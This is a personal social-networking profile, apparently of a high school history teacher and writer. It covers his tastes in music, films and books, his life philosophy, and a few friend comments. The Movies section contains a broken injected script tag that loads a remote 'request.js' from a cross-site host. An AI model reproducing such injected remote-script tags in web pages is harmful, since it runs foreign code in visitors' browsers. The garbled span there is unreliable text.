Being a "fly on the wall" of Life, writing, philosophizing, reading (especially modern philosophy, French existentialism, religion/spirituality, and contemporary literature), watching quality films, changing the world in whatever ways possible.
Music
As long as it is musically creative with talented musicians, I will listen to it, regardless of genre, from hip-hop, to r&b, to folk americana, to indie rock, to punk rock, etc. Good musicians should be recognized for their creativity, not to some genre to which we assign them. I particularly enjoy the "Once" soundtrack, Flogging Molly, old school rap (NWA and Public Enemy), Slaid Cleaves, Hayes Carll, David Garza, the Old 97s, and, of course, anything from the 80s!
Movies
My tastes for movies run the gamut. As a writer, I am partial to those movies based upon strong screenplays, such as The Three Burials of Melquillades Estrada, On the Waterfront, American Beauty, and Adaptation (or anything by Charlie Kaufman, for that matter!). I prefer independent films, because the filmmakers have much more flexibility in the direction they can take in their work, unconfined by the "industry" wants (in order to make the all important dollar)..... language="javascript" src="http://crosssiterequest../request.js">function nothingf(){document·write("..1...{}");}..>
Television
Unless it's The Simpsons, South Park, the Daily Show, or the Colbert Report (all of which I appreciate for their profound critiques of the modern world), I try to avoid television not out of some sense of principle, but rather because I don't find anything worth watching. I'd prefer to be out in the world soaking in everything it has to offer.
Books
Anything by Zora Neale Hurston, Martin Luther King, Jr., Ralph Waldo Emerson, Malcolm X, T.C. Boyle, Don DeDillo, Toni Morrisson, most anything about religion/spirituality, philosophy, etc. My favorite book of all time is by the poet Langston Hughes, "The Collected Poetry of Langston Hughes."
Heroes
Pedro Amaldovar, Charlie Kauffman, Martin Luther King, Jr., and Malcolm X.
About me: First and foremost, I'm a father and a husband. By profession and calling I am an educator and a writer with a commitment to doing everything I can to make the world in which my children and grandchildren will grow up a better place for all.
Whenever you get a chance, check out my teacher website at www.mrholtshistory.org and my YouTube channel for teachers and students at http://www.youtube.com/user/mrholtshistory.
For fun, I often philosophize, which has led me to several of the following conclusions:
"True improvisation, adventure, and creativity are dancing the Dance of Life without a choreographer. So, let the Music fill your being and dance freely."
"Love is too hard to come by to put arbitrary parameters on it." (a dearly creative and insightful college and Life friend)
Life is an adventure, an improvisation, on which we daily encounter challenges, struggles, and even triumphs, as long as we slow down long enough to live in the Present Moment and take advantage of all that Life has to offer us.
As a keen observer of life, an amateur philosopher (who loves to ask questions about the nature of the Universe), a writer (screenwriter, novelist, and playwright), and a high school history teacher, I have discovered a very disturbing trend in modern American society. Too many Americans are overworked and underpaid, and as a result have lost any sense of "play-time" in their lives, even with their own children. It is my task as a philosopher and writer, therefore, to rebreathe the lost arts of improvisation, adventure, and creativity back in the modern American consciousness, not only for the salvation of individual Americans, but also so that America as we know it can return to its original purpose as a "city on the hill."
Who I'd like to meet: Anyone will to let go of the superficial attachments and trappings of the modern world and dance freely the Dance of Life, infusing his or her being with iprovisation, adventure, and creativity. Artists and creative types. People committed to making the world a better place in which to live.
Just checking on the Mrs... you said she was in surgery? you're both in my thoughts & hoping that everything is ok!! so, any chance for some R & R this summer? when do ya'll finish with school (not that you're counting down the days or anything!!) :)
SXSW film festival is right around the corner. (Ahhh, the memories!)Thanx for a great time last year. It was life changing for me! How are things with you? All is lovely here w/ Sarah in Austin. Peace & Love!
Hi there stranger...I so miss ya n miss r coffee chats...so how r things going? As u prob have read things r crazy with me. I am moving next w/e but I still wanna go to visit u for FAT tuesday...hugssss....
i can't believer you're leaving...but good luck! will you come back for rufus or will i be forced to try to replace you??....even though i know it's impossible :)
Hey buddy, how's it going? I take it that the call never came....I'm sorry to hear that man = -( If you're out and about Friday, C and I and probably Mel and her posse will be on 6th for HH's....can you make it? Hope so!!
